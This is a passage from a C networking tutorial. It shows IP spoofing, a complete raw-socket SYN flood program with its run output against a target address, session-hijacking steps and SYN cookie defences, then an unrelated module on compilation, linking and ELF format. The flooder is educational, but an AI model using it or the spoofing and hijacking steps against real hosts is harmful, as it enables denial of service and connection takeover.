[root@bakawali testraw]# gcc myping.c -o myping


[root@bakawali testraw]# ./myping

Usage: ./myping <saddress> <dstaddress> [number]


- saddress is the spoofed source address
- dstaddress is the target
- number is the number of packets to send, 100 is the default
[root@bakawali testraw]# ./myping 1.2.3.4 203.106.93.94 10000
sendto() is OK.
sendto() is OK.
...
...
sendto() is OK.
sendto() is OK.
Sending to 203.106.93.88 from spoofed 1.2.3.4
sendto() is OK.
...

You can verify this ‘attack’ at the target machine by issuing the tcpdump –vv command or other network
monitoring programs such as Ethereal.

SYN Flag Flooding

By referring to the previous "three-way handshake" of the TCP, when the server gets a connection request, it sends a
SYN-ACK to the spoofed IP address, normally doesn't exist. The connection is made to time-out until it gets the
ACK segment (often called a half-open connection). Since the server connection queue resource is limited,
flooding the server with continuous SYN segments can slow down the server or completely push it offline. This
SYN flooding technique involves spoofing the IP address and sending multiple SYN segments to a server. In this
case, a full tcp connection is never established. We can also write a code, which sends a SYN packet with a
randomly spoofed IP to avoid the firewall blocking. This will result in all the entries in our spoofed IP list, sending
RST segments to the victim server, upon getting the SYN-ACK from the victim. This can choke the target server
and often form a crucial part of a Denial Of Service (DOS) attack. When the attack is launched by many zombie
hosts from various location, all target the same victim, it becomes Distributed DOS (DDOS). In worse case this
DOS/DDOS attack might be combined with other exploits such as buffer overflow. The DOS/DDOS attack also

www.tenouk.com Page 14 of 19
normally use transit hosts s a launching pad for attack. This means the attack may come from a valid IP/Domain
name. The following is a program example that constantly sends out SYN requests to a host (Syn flooder).

[root@bakawali testraw]# cat synflood.c


#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>

/* TCP flags, can define something like this if needed */


/*
#define URG 32
#define ACK 16
#define PSH 8
#define RST 4
#define SYN 2
#define FIN 1
*/

struct ipheader {
unsigned char iph_ihl:5, /* Little-endian */
iph_ver:4;
unsigned char iph_tos;
unsigned short int iph_len;
unsigned short int iph_ident;
unsigned char iph_flags;
unsigned short int iph_offset;
unsigned char iph_ttl;
unsigned char iph_protocol;
unsigned short int iph_chksum;
unsigned int iph_sourceip;
unsigned int iph_destip;
};

/* Structure of a TCP header */


struct tcpheader {
unsigned short int tcph_srcport;
unsigned short int tcph_destport;
unsigned int tcph_seqnum;
unsigned int tcph_acknum;
unsigned char tcph_reserved:4, tcph_offset:4;
unsigned int
tcp_res1:4, /*little-endian*/
tcph_hlen:4, /*length of tcp header in 32-bit words*/
tcph_fin:1, /*Finish flag "fin"*/
tcph_syn:1, /*Synchronize sequence numbers to start a connection*/
tcph_rst:1, /*Reset flag */
tcph_psh:1, /*Push, sends data to the application*/
tcph_ack:1, /*acknowledge*/
tcph_urg:1, /*urgent pointer*/
tcph_res2:2;
unsigned short int tcph_win;
unsigned short int tcph_chksum;
unsigned short int tcph_urgptr;
};

/* function for header checksums */


unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}

int main(int argc, char *argv[])


{
/* open raw socket */
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
/* this buffer will contain ip header, tcp header, and payload
we'll point an ip header structure at its beginning,
and a tcp header structure after that to write the header values into it */
char datagram[4096];
struct ipheader *iph = (struct ipheader *) datagram;
struct tcpheader *tcph = (struct tcpheader *) datagram + sizeof (struct ipheader);
struct sockaddr_in sin;

www.tenouk.com Page 15 of 19
if(argc != 3)
{
printf("Invalid parameters!\n");
printf("Usage: %s <target IP/hostname> <port to be flooded>\n", argv[0]);
exit(-1);
}

unsigned int floodport = atoi(argv[2]);

/* the sockaddr_in structure containing the destination address is used


in sendto() to determine the datagrams path */

sin.sin_family = AF_INET;
/* you byte-order >1byte header values to network byte order
(not needed on big-endian machines). */
sin.sin_port = htons(floodport);
sin.sin_addr.s_addr = inet_addr(argv[1]);

/* zero out the buffer */


memset(datagram, 0, 4096);

/* we'll now fill in the ip/tcp header values */


iph->iph_ihl = 5;
iph->iph_ver = 4;
iph->iph_tos = 0;
/* just datagram, no payload. You can add payload as needed */
iph->iph_len = sizeof (struct ipheader) + sizeof (struct tcpheader);
/* the value doesn't matter here */
iph->iph_ident = htonl (54321);
iph->iph_offset = 0;
iph->iph_ttl = 255;
iph->iph_protocol = 6; // upper layer protocol, TCP
/* set it to 0 before computing the actual checksum later */
iph->iph_chksum = 0;
/* SYN's can be blindly spoofed. Better to create randomly generated IP
to avoid blocking by firewall */
iph->iph_sourceip = inet_addr ("192.168.3.100");
/* Better if we can create a range of destination IP, so we can flood all of them
at the same time */
iph->iph_destip = sin.sin_addr.s_addr;
/* arbitrary port for source */
tcph->tcph_srcport = htons (5678);
tcph->tcph_destport = htons (floodport);
/* in a SYN packet, the sequence is a random */
tcph->tcph_seqnum = random();
/* number, and the ack sequence is 0 in the 1st packet */
tcph->tcph_acknum = 0;
tcph->tcph_res2 = 0;
/* first and only tcp segment */
tcph->tcph_offset = 0;
/* initial connection request, I failed to use TH_FIN :o(
so check the tcp.h, TH_FIN = 0x02 or use #define TH_FIN 0x02*/
tcph->tcph_syn = 0x02;
/* maximum allowed window size */
tcph->tcph_win = htonl (65535);
/* if you set a checksum to zero, your kernel's IP stack
should fill in the correct checksum during transmission. */
tcph->tcph_chksum = 0;
tcph-> tcph_urgptr = 0;

iph-> iph_chksum = csum ((unsigned short *) datagram, iph-> iph_len >> 1);

/* a IP_HDRINCL call, to make sure that the kernel knows the


header is included in the data, and doesn't insert its own
header into the packet before our data */
/* Some dummy */
int tmp = 1;
const int *val = &tmp;
if(setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0)
{
printf("Error: setsockopt() - Cannot set HDRINCL!\n");
/* If something wrong, just exit */
exit(-1);
}
else
printf("OK, using your own header!\n");

/* You have to manually stop this program */


while(1)

www.tenouk.com Page 16 of 19
{
if(sendto(s, /* our socket */
datagram, /* the buffer containing headers and data */
iph->iph_len, /* total length of our datagram */
0, /* routing flags, normally always 0 */
(struct sockaddr *) &sin, /* socket addr, just like in */
sizeof (sin)) < 0) /* a normal send() */
printf("sendto() error!!!.\n");
else
printf("Flooding %s at %u...\n", argv[1], floodport);

}
return 0;
}

[root@bakawali testraw]# gcc synflood.c -o synflood


[root@bakawali testraw]# ./synflood
Invalid parameters!
Usage: ./synflood <target IP/hostname> <port to be flooded>
[root@bakawali testraw]# ./synflood 203.106.93.88 53
OK, using your own header!
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
Flooding 203.106.93.88 at 53...
...

You can verify this ‘attack’ at the target machine by issuing the tcpdump –vv command or other network
monitoring programs such as Ethereal.

SYN Cookies

SYN flooding leaves a finite number of half-open connections in the server while the server is waiting for a SYN-
ACK acknowledgment. As long as the connection state is maintained, SYN flooding can prove to be a disaster in a
production network. Though SYN flooding capitalizes on the basic flaw in TCP, ways have been found to keep the
target system from going down by not maintaining connection states to consume precious resources. Though
increasing the connection queue and decreasing the connection time-out period will help to a certain extent, it won't
be effective under a rapid DDOS attack. SYN Cookies has been introduced and becomes part of the Linux kernels,
in order to protect your system from a SYN flood. In the SYN cookies implementation of TCP, when the server
receives a SYN packet, it responds with a SYN-ACK packet with the ACK sequence number calculated from source
address, source port, source sequence, destination address, destination port, and a secret seed. Then the server
relinquishes the state about the connection. If an ACK comes from the client, the server can recalculate it to
determine whether it is a response to the former SYN-ACK, which the server sent. To protect your system from SYN
flooding, the SYN Cookies have to be enabled.

1. echo 1 > /proc/sys/net/ipv4/tcp_syncookies to your /etc/rc.d/rc.local script.

2. Edit /etc/sysctl.conf file and add the following line:

net.ipv4.tcp_syncookies = 1

3. Restart your system.

Session Hijacking
Raw socket can also be used for Session Hijacking. In this case, we inject our own packet that having same
specification with the original packet and replace it. As discussed in the previous section of the tcp connection
termination, the client who needs to terminate the connection sends a FIN segment to the server (TCP Packet with
the FIN flag set) indicating that it has finished sending the data. The server, upon receiving the FIN segment, does
not terminate the connection but enters into a "passive close" (CLOSE_WAIT) state and sends an ACK for the FIN
back to the client with the sequence number incremented by one. Now the server enters into LAST_ACK state.
When the client gets the last ACK from the server, it enters into a TIME_WAIT state, and sends an ACK back to the
server with the sequence number incremented by one. When the server gets the ACK from the client, it closes the
connection.
Before trying to hijack a TCP connection, we need to understand the TIME_WAIT state. Consider two systems, A
and B, communicating. After terminating the connection, if these two clients want to communicate again, they

www.tenouk.com Page 17 of 19
should not be allowed to establish a connection before a certain period. This is because stray packets (if there are
any) transferred during the initial session should not confuse the second session initialization. So TCP has set the
TIME_WAIT period to be twice the MSL (Maximum Segment Lifetime) for the packet. We can spoof our TCP
packets and can try to reset an established TCP connection with the following steps:

1. Sniff a TCP connection. In Linux for example, we need to set our Network Interface (NIC) to
Promiscuous mode. In program, this can be done by using the setsockopt(). For example:

// add the promiscuous mode


struct packet_mreq mr;
memset(&mr, 0, sizeof(mr));
mr.mr_ifindex = ifconfig.ifindex;
mr.mr_type = PACKET_MR_PROMISC;

if(setsockopt(ifconfig.sockid, SOL_PACKET, PACKET_ADD_MEMBERSHIP,


(char *)&mr, sizeof(mr)) < 0)
{
perror("Failed to add the promiscuous mode");
return (1);
}

2. Check if the packet has ACK flag set. If set, the Acknowledgment number is recorded (which will be our
next packet sequence number) along with the source IP.

Establish a raw socket with spoofed IP and send out the FIN packet to the client with the recorded sequence
number. Make sure that you have also set your ACK flag. Session Hijacking can also be done with the RST (Reset)
flag.

---------------------------------------------------------------Break-----------------------------------------------------------------

Note:
A sniffer programs must make the network interface card (NIC) on a machine enter into a so-called promiscuous
mode. This is because, for example, an Ethernet NIC is built with a filter that ignores all traffic that does not belong
to it. This means it ignores all frames whose destination MAC address does not match with its own. Through the
NICs driver, a sniffer program need to turn off this filter, putting the NIC into mode called promiscuous so that it
will listen to all type of traffic that supposed to contain all type of packets. The typical NICs used in workstations
and PCs nowadays can be put into promiscuous mode quite easily by turning the mode on or off. In fact, on many
NICs, it is also possible to reprogram their MAC addresses. Network analyzing equipment deliberately and
legitimately needs to observe all traffic, and hence be promiscuous.

---------------------------------------------------------------Break-----------------------------------------------------------------

SYN Handshakes

Port scanner/sniffer such as Nmap use raw sockets to the advantage of stealth. They use a half-way-SYN handshake
that basically works like the following steps:

▪ Host A sends a special SYN packet to host B.


▪ Host B sends back a SYN/ACK packet to host A.
▪ Host A send RST packet in return.

This way, host B knows when it gets a connection and this is how most port scanners work. Nmap and others
however, use raw sockets. When the SYN/ACK packet is received from host B, indicating that B got the SYN, host
A then uses this and sends a special RST (flag) packet (short for ReSeT) back to host B saying never mind about the
connection, thus, they never make a full connection and the scan is stealthed out.
Well, from the story in this Module, raw sockets are an extremely powerful method of controlling the underlying
protocol of a packet and its data. Any network programmer should learn and understand how to use them for the
right purposes.

--------------------------------------------------------End--------------------------------------------------------

Further interesting reading and digging:

Secure Socket Layer (SSL)

www.tenouk.com Page 18 of 19
A protocol developed originally by Netscape for transmitting private documents via the Internet in an encrypted
form. SSL ensures that the information is sent, unchanged, only to the server you intended to send it to. For
example, online shopping sites frequently use SSL technology to safeguard your credit card information. SSL is a
protocol for encrypting TCP/IP traffic that also incorporates authentication and data integrity. The newest version
of SSL is sometimes referred to as Transport Layer Security (TLS) (the specification can be found at RFC 2246 and
TLS v1.0 is equivalent to SSL v3.1. SSL runs on top of TCP/IP and can be applied to almost any sort of
connection-oriented communication. SSL is based on session-key encryption. It adds a number of extra features,
including authentication based on X.509 certificates and integrity checking with message authentication codes.
It is an extension of sockets, which allow a client and a server to establish a stream of communication with each
other in a secured manner. They begin with a handshake, which allows identities to be established and keys to be
exchanged.
SSL uses a cryptographic system that uses two keys to encrypt data: a public key known to everyone and a private
or secret key known only to the recipient of the message. It is most commonly used to secure http. Both Netscape
Navigator and Internet Explorer browsers support SSL and many web sites use the protocol to obtain confidential
user information. By convention, URLs that require an SSL connection start with https: instead of http:.
Another protocol for transmitting data securely over the World Wide Web is Secure HTTP (S-HTTP). Whereas
SSL creates a secure connection between a client and a server, over which any amount of data can be sent securely,
S-HTTP is designed to transmit individual messages securely. SSL and S-HTTP, therefore, can be seen as
complementary rather than competing technologies. Both protocols have been approved by the Internet Engineering
Task Force (IETF) as a standard.
You can try OpenSSL, the open source version to learn more about SSL. One of real project example that
implements the SSL is Apache web server (apache-ssl). Information about program examples can be obtained at
openssl examples

Secure Shell (SSH)

Many users of telnet, rlogin, ftp and other communication programs transmit data such as user name and password
across the Internet in unencrypted form. For more general applications, SSH encrypts all traffic (including
passwords) to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks.
Originally developed by SSH Communications Security Ltd., Secure Shell provides strong authentication and secure
communications over insecure channels such as internet. It is a replacement for unsecured rlogin, rsh, rcp, and
rdist. SSH protects a network from attacks such as IP spoofing, IP source routing, and DNS spoofing. An
attacker who has managed to take over a network can only force SSH to disconnect. He or she cannot play back the
traffic or hijack the connection when encryption is enabled. For example, when using ssh's secure login (instead of
rlogin) the entire login session, including transmission of password, is encrypted; therefore it is almost
impossible for an outsider to collect passwords. SSH is available for Windows, Unix, Macintosh, and OS/2,
commercial or open source version and it also works with RSA authentication.
To learn more about SSH, you ca use the free, open source version, OpenSSH. The OpenSSH suite includes the
ssh program which replaces rlogin and telnet, scp which replaces rcp, and sftp which replaces ftp. Also
included is sshd which is the server side of the package, and the other basic utilities like ssh-add, ssh-agent, ssh-
keysign, ssh-keyscan, ssh-keygen and sftp-server. OpenSSH supports SSH protocol versions 1.3, 1.5, and 2.0.

-----------------------------------------Real End-----------------------------------------
---www.tenouk.com---

More reading and digging:

1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.

www.tenouk.com Page 19 of 19
MODULE W
A STORY OF
COMPILER, ASSEMBLER, LINKER AND LOADER

My Training Period: hours

Note:
This Module presents quite a detail story of a process (running program). It tries to investigate how the C / C++
source codes preprocessed, compiled, linked and loaded as a running program. It is based on the GCC (GNU
Compiler Collection). When you use the IDE (Integrated Development Environment) compilers such as Microsoft
Visual C++, Borland C++ Builder etc. the processes discussed here quite transparent. The commands and examples
of the gcc, gdb, g++, gas and friends are discussed in Module000 and Module111. Have a nice day!

Ability

▪ Able to understand and appreciate the processes involved in preprocessing, compiling, linking,
loading and running C / C++ programs.

W.1 COMPILERS, ASSEMBLERS and LINKERS

- Normally the C’s program building process involves four stages and utilizes different ‘tools’ such as a
preprocessor, compiler, assembler, and linker.
- At the end there should be a single executable file. Below are the stages that happen in order regardless
of the operating system/compiler and graphically illustrated in Figure w.1.

1. Preprocessing is the first pass of any C compilation. It processes include-files, conditional


compilation instructions and macros.
2. Compilation is the second pass. It takes the output of the preprocessor, and the source code,
and generates assembler source code.
3. Assembly is the third stage of compilation. It takes the assembly source code and produces an
assembly listing with offsets. The assembler output is stored in an object file.
4. Linking is the final stage of compilation. It takes one or more object files or libraries as input
and combines them to produce a single (usually executable) file. In doing so, it resolves
references to external symbols, assigns final addresses to procedures/functions and variables,
and revises code and data to reflect new addresses (a process called relocation).

- Bear in mind that if you use the IDE type compilers, these processes quite transparent.
- Now we are going to examine more details about the process that happen before and after the linking
stage. For any given input file, the file name suffix (file extension) determines what kind of
compilation is done and the example for GCC is listed in Table w.1.
- In UNIX/Linux, the executable file doesn’t have extension whereas in Windows the executables for
example may have .exe, .com and .dll.

File extension Description


file_name.c C source code which must be preprocessed.
file_name.i C source code which should not be preprocessed.
file_name.ii C++ source code which should not be preprocessed.
file_name.h C header file (not to be compiled or linked).
file_name.cc
file_name.cp
C++ source code which must be preprocessed. For
file_name.cxx
file_name.cxx, the xx must both be literally character x and
file_name.cpp
file_name.c++ file_name.C, is capital c.
file_name.C
file_name.s Assembler code.
file_name.S Assembler code which must be preprocessed.
Object file by default, the object file name for a source file is made by
file_name.o
replacing the extension .c, .i, .s etc with .o

Table w.1

www.tenouk.com Page 1 of 15
- The following Figure shows the steps involved in the process of building the C program starting from
the compilation until the loading of the executable image into the memory for program running.

Figure w.1: Compile, link and execute stages for running program (a process)

W.2 OBJECT FILES and EXECUTABLE

- After the source code has been assembled, it will produce an Object files (e.g. .o, .obj) and then
linked, producing an executable files.
- An object and executable come in several formats such as ELF (Executable and Linking Format) and
COFF (Common Object-File Format). For example, ELF is used on Linux systems, while COFF is
used on Windows systems.
- Other object file formats are listed in the following Table.

Object File
Description
Formats
The a.out format is the original file format for Unix. It consists of three
a.out sections: text, data, and bss, which are for program code, initialized data,
and uninitialized data, respectively. This format is so simple that it doesn't have

www.tenouk.com Page 2 of 15
any reserved place for debugging information. The only debugging format for
a.out is stabs, which is encoded as a set of normal symbols with distinctive
attributes.
The COFF (Common Object File Format) format was introduced with System
V Release 3 (SVR3) Unix. COFF files may have multiple sections, each
COFF prefixed by a header. The number of sections is limited. The COFF
specification includes support for debugging but the debugging information was
limited. There is no file extension for this format.
A variant of COFF. ECOFF is an Extended COFF originally introduced for
ECOFF
Mips and Alpha workstations.
The IBM RS/6000 running AIX uses an object file format called XCOFF
(eXtended COFF). The COFF sections, symbols, and line numbers are used, but
XCOFF debugging symbols are dbx-style stabs whose strings are located in the
.debug section (rather than the string table). The default name for an XCOFF
executable file is a.out.
Windows 9x and NT use the PE (Portable Executable) format for their
PE executables. PE is basically COFF with additional headers. The extension
normally .exe.
The ELF (Executable and Linking Format) format came with System V Release
4 (SVR4) Unix. ELF is similar to COFF in being organized into a number of
ELF sections, but it removes many of COFF's limitations. ELF used on most
modern Unix systems, including GNU/Linux, Solaris and Irix. Also used on
many embedded systems.
SOM (System Object Module) and ESOM (Extended SOM) is HP's object file
SOM/ESOM and debug format (not to be confused with IBM's SOM, which is a cross-
language Application Binary Interface - ABI).

Table w.2

- When we examine the content of these object files there are areas called sections. Sections can hold
executable code, data, dynamic linking information, debugging data, symbol tables, relocation
information, comments, string tables, and notes.
- Some sections are loaded into the process image and some provide information needed in the building
of a process image while still others are used only in linking object files.
- There are several sections that are common to all executable formats (may be named differently,
depending on the compiler/linker) as listed below:

Section Description
This section contains the executable instruction codes and is shared
among every process running the same binary. This section usually has
.text
READ and EXECUTE permissions only. This section is the one most
affected by optimization.
BSS stands for ‘Block Started by Symbol’. It holds un-initialized global
and static variables. Since the BSS only holds variables that don't have
any values yet, it doesn't actually need to store the image of these
.bss
variables. The size that BSS will require at runtime is recorded in the
object file, but the BSS (unlike the data section) doesn't take up any
actual space in the object file.
Contains the initialized global and static variables and their values. It is
.data usually the largest part of the executable. It usually has READ/WRITE
permissions.
Also known as .rodata (read-only data) section. This contains
.rdata
constants and string literals.
.reloc Stores the information required for relocating the image while loading.
A symbol is basically a name and an address. Symbol table holds
information needed to locate and relocate a program’s symbolic
definitions and references. A symbol table index is a subscript into this
Symbol table
array. Index 0 both designates the first entry in the table and serves as
the undefined symbol index. The symbol table contains an array of
symbol entries.

www.tenouk.com Page 3 of 15
Relocation is the process of connecting symbolic references with
symbolic definitions. For example, when a program calls a function, the
associated call instruction must transfer control to the proper
destination address at execution. Relocatable files must have relocation
Relocation records entries’ which are necessary because they contain information that
describes how to modify their section contents, thus allowing
executable and shared object files to hold the right information for a
process's program image. Simply said relocation records are
information used by the linker to adjust section contents.

Table w.3: Segments in executable file

- The following is an example of the object file content dumping using readelf program. Other utility
can be used is objdump. These utilities presented in Module000 and Module111.
- For Windows dumpbin utility (coming with Visual C++ compiler) or more powerful one is a free
PEBrowse program that can be used for the same purpose.

/*testprog1.c*/
#include <stdio.h>
static void display(int i, int *ptr);

int main(void)
{
int x = 5;
int *xptr = &x;
printf("In main() program:\n");
printf("x value is %d and is stored at address %p.\n", x, &x);
printf("xptr pointer points to address %p which holds a value of %d.\n", xptr, *xptr);
display(x, xptr);
return 0;
}

void display(int y, int *yptr)


{
char var[7] = "ABCDEF";
printf("In display() function:\n");
printf("y value is %d and is stored at address %p.\n", y, &y);
printf("yptr pointer points to address %p which holds a value of %d.\n", yptr, *yptr);
}

[bodo@bakawali test]$ gcc -c testprog1.c


[bodo@bakawali test]$ readelf -a testprog1.o
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: REL (Relocatable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x0
Start of program headers: 0 (bytes into file)
Start of section headers: 672 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 0 (bytes)
Number of program headers: 0
Size of section headers: 40 (bytes)
Number of section headers: 11
Section header string table index: 8

Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .text PROGBITS 00000000 000034 0000de 00 AX 0 0 4
[ 2] .rel.text REL 00000000 00052c 000068 08 9 1 4
[ 3] .data PROGBIT 00000000 000114 000000 00 WA 0 0 4
[ 4] .bss NOBIT 00000000 000114 000000 00 WA 0 0 4
[ 5] .rodata PROGBITS 00000000 000114 00010a 00 A 0 0 4
[ 6] .note.GNU-stack PROGBITS 00000000 00021e 000000 00 0 0 1
[ 7] .comment PROGBITS 00000000 00021e 000031 00 0 0 1
[ 8] .shstrtab STRTAB 00000000 00024f 000051 00 0 0 1
[ 9] .symtab SYMTAB 00000000 000458 0000b0 10 10 9 4

www.tenouk.com Page 4 of 15
[10] .strtab STRTAB 00000000 000508 000021 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings)
I (info), L (link order), G (group), x (unknown)
O (extra OS processing required) o (OS specific), p (processor specific)

There are no program headers in this file.

Relocation section '.rel.text' at offset 0x52c contains 13 entries:


Offset Info Type Sym.Value Sym. Name
0000002d 00000501 R_386_32 00000000 .rodata
00000032 00000a02 R_386_PC32 00000000 printf
00000044 00000501 R_386_32 00000000 .rodata
00000049 00000a02 R_386_PC32 00000000 printf
0000005c 00000501 R_386_32 00000000 .rodata
00000061 00000a02 R_386_PC32 00000000 printf
0000008c 00000501 R_386_32 00000000 .rodata
0000009c 00000501 R_386_32 00000000 .rodata
000000a1 00000a02 R_386_PC32 00000000 printf
000000b3 00000501 R_386_32 00000000 .rodata
000000b8 00000a02 R_386_PC32 00000000 printf
000000cb 00000501 R_386_32 00000000 .rodata
000000d0 00000a02 R_386_PC32 00000000 printf

There are no unwind sections in this file.

Symbol table '.symtab' contains 11 entries:


Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FILE LOCAL DEFAULT ABS testprog1.c
2: 00000000 0 SECTION LOCAL DEFAULT 1
3: 00000000 0 SECTION LOCAL DEFAULT 3
4: 00000000 0 SECTION LOCAL DEFAULT 4
5: 00000000 0 SECTION LOCAL DEFAULT 5
6: 00000080 94 FUNC LOCAL DEFAULT 1 display
7: 00000000 0 SECTION LOCAL DEFAULT 6
8: 00000000 0 SECTION LOCAL DEFAULT 7
9: 00000000 128 FUNC GLOBAL DEFAULT 1 main
10: 00000000 0 NOTYPE GLOBAL DEFAULT UND printf

No version information found in this file.

- When writing a program using the assembly language it should be compatible with the sections in the
assembler directives (x86) and the partial list that is interested to us is listed below:

Section Description
Contain code (instructions).
1 Text (.section .text)
Contain the _start label.
2 Read-Only Data (.section .rodata) Contains pre-initialized constants.
3 Read-Write Data (.section .data) Contains pre-initialized variables.
4 BSS (.section .bss) Contains un-initialized data.

Table w.4

- The assembler directives in assembly programming can be used to identify code and data sections,
allocate/initialize memory and making symbols externally visible or invisible.
- An example of the assembly code with some of the assembler directives (Intel) is shown below:

;initializing data
.section .data
x: .byte 128 ;one byte initialized to 128
y: .long 1,1000,10000 ;3 long words

;initializing ascii data


.ascii "hello" ;ascii without null character
asciz "hello" ;ascii with \0

;allocating memory in bss


.section .bss
.equ BUFFSIZE 1024 ;define a constant
.comm z, 4, 4 ;allocate 4 bytes for x with
;4-byte alignment

;making symbols externally visible


.section .data

www.tenouk.com Page 5 of 15
.globl w ;declare externally visible
;e.g: int w = 10
.text
.globl fool ;e.g: fool(void) {…}
fool:

leave
return

W.3 RELOCATION RECORDS

- Because the various object files will include references to each others code and/or data, so various
locations, these shall need to be combined during the link time.
- For example in Figure w.2, the object file that has main() includes calls to functions funct() and
printf().
- After linking all of the object files together, the linker uses the relocation records to find all of the
addresses that need to be filled in.

W.4 SYMBOL TABLE

- Since assembling to machine code removes all traces of labels from the code, the object file format has
to keep these around in different places.
- It is accomplished by the symbol table that contains a list of names and their corresponding offsets in
the text and data segments.
- A disassembler provides support for translating back from an object file or executable.

Figure w.2: The relocation record

W.5 LINKING

- The linker actually enables separate compilation. As shown in Figure w.3, an executable can be made
up of a number of source files which can be compiled and assembled into their object files respectively,
independently.

www.tenouk.com Page 6 of 15
Figure w.3: Linking process of object files

W.5.1 SHARED OBJECTS

- In a typical system, a number of programs will be running. Each program relies on a number of
functions, some of which will be standard C library functions, like printf(), malloc(),
strcpy(), etc. and some are non-standard or user defined functions.
- If every program uses the standard C library, it means that each program would normally have a unique
copy of this particular library present within it. Unfortunately, this result in wasted resources, degrade
the efficiency and performance.
- Since the C library is common, it is better to have each program reference the common, one instance of
that library, instead of having each program contain a copy of the library.
- This is implemented during the linking process where some of the objects are linked during the link
time whereas some done during the run time (deferred/dynamic linking).

W.5.2 STATICALLY LINKED

- The term ‘statically linked’ means that the program and the particular library that it’s linked against are
combined together by the linker at link time.
- This means that the binding between the program and the particular library is fixed and known at link
time before the program run. It also means that we can't change this binding, unless we relink the
program with a new version of the library.
- Programs that are linked statically are linked against archives of objects (libraries) that typically have
the extension of .a. An example of such a collection of objects is the standard C library, libc.a.
- You might consider linking a program statically for example, in cases where you weren't sure whether
the correct version of a library will be available at runtime, or if you were testing a new version of a
library that you don't yet want to install as shared.
- For gcc, the –static option can be used during the compilation/linking of the program.

gcc –static filename.c –o filename

- The drawback of this technique is that the executable is quite big in size, all the needed information
need to be brought together.

W.5.3 DYNAMICALLY LINKED

- The term ‘dynamically linked’ means that the program and the particular library it references are not
combined together by the linker at link time.
- Instead, the linker places information into the executable that tells the loader which shared object
module the code is in and which runtime linker should be used to find and bind the references.
- This means that the binding between the program and the shared object is done at runtime that is before
the program starts, the appropriate shared objects are found and bound.
- This type of program is called a partially bound executable, because it isn't fully resolved. The linker,
at link time, didn't cause all the referenced symbols in the program to be associated with specific code
from the library.

www.tenouk.com Page 7 of 15
- Instead, the linker simply said something like: “This program calls some functions within a particular
shared object, so I'll just make a note of which shared object these functions are in, and continue on”.
- Symbols for the shared objects are only verified for their validity to ensure that they do exist
somewhere and are not yet combined into the program.
- The linker stores in the executable program, the locations of the external libraries where it found the
missing symbols. Effectively, this defers the binding until runtime.
- Programs that are linked dynamically are linked against shared objects that have the extension .so.
An example of such an object is the shared object version of the standard C library, libc.so.
- The advantageous to defer some of the objects/modules during the static linking step until they are
finally needed (during the run time) includes:

1. Program files (on disk) become much smaller because they need not hold all necessary text
and data segments information. It is very useful for portability.

2. Standard libraries may be upgraded or patched without every one program need to be re-
linked. This clearly requires some agreed module-naming convention that enables the
dynamic linker to find the newest, installed module such as some version specification.
Furthermore the distribution of the libraries is in binary form (no source), including
dynamically linked libraries (dlls) and when you change your program you only have to
recompile the file that was changed.

3. Software vendors need only provide the related libraries module required. Additional runtime
linking functions allow such programs to programmatically-link the required modules only.

4. In combination with virtual memory, dynamic linking permits two or more processes to share
read-only executable modules such as standard C libraries. Using this technique, only one
copy of a module needs be resident in memory at any time, and multiple processes, each can
executes this shared code (read only). This results in a considerable memory saving, although
demands an efficient swapping policy.

W.6 HOW SHARED OBJECTS ARE USED

- To understand how a program makes use of shared objects, let's first examine the format of an
executable and the steps that occur when the program starts.

W.6.1 SOME DETAIL OF THE ELF FORMAT

- Executable and Linking Format (ELF) is binary format, which is used in SVR4 Unix and Linux
systems.
- It is a format for storing programs or fragments of programs on disk, created as a result of compiling
and linking.
- ELF not only simplifies the task of making shared libraries, but also enhances dynamic loading of
modules at runtime.

W.6.2 ELF SECTIONS

- The Executable and Linking Format used by GNU/Linux and other operating systems, defines a
number of ‘sections’ in an executable program.
- These sections are used to provide instruction to the binary file and allowing inspection. Important
function sections include the Global Offset Table (GOT), which stores addresses of system functions,
the Procedure Linking Table (PLT), which stores indirect links to the GOT, .init/.fini, for
internal initialization and shutdown, .ctors/.dtors, for constructors and destructors.
- The data sections are .rodata, for read only data, .data for initialized data, and .bss for uninitialized data.
- Partial list of the ELF sections are organized as follows (from low to high):

1. .init - Startup
2. .text - String
3. .fini - Shutdown
4. .rodata - Read Only
5. .data - Initialized Data
6. .tdata - Initialized Thread Data
7. .tbss - Uninitialized Thread Data

www.tenouk.com Page 8 of 15
8. .ctors - Constructors
9. .dtors - Destructors
10. .got - Global Offset Table
11. .bss - Uninitialized Data

- You can use the readelf or objdump program against the object or executable files in order to view
the sections.
- In the following Figure, two views of an ELF file are shown: the linking view and the execution view.

Figure w.4: Simplified object file format: linking view and execution view.

- Keep in mind that the full format of the ELF contains many more items. As explained previously, the
linking view, which is used when the program or library is linked, deals with sections within an object
file.
- Sections contain the bulk of the object file information: data, instructions, relocation information,
symbols, debugging information, etc.
- The execution view, which is used when the program runs, deals with segments. Segments are a way
of grouping related sections.
- For example, the text segment groups executable code, the data segment groups the program data,
and the dynamic segment groups information relevant to dynamic loading.
- Each segment consists of one or more sections. A process image is created by loading and interpreting
segments.
- The operating system logically copies a file’s segment to a virtual memory segment according to the
information provided in the program header table. The OS can also use segments to create a shared
memory resource.
- At link time, the program or library is built by merging together sections with similar attributes into
segments.
- Typically, all the executable and read-only data sections are combined into a single text segment,
while the data and BSS are combined into the data segment.
- These segments are normally called load segments, because they need to be loaded in memory at
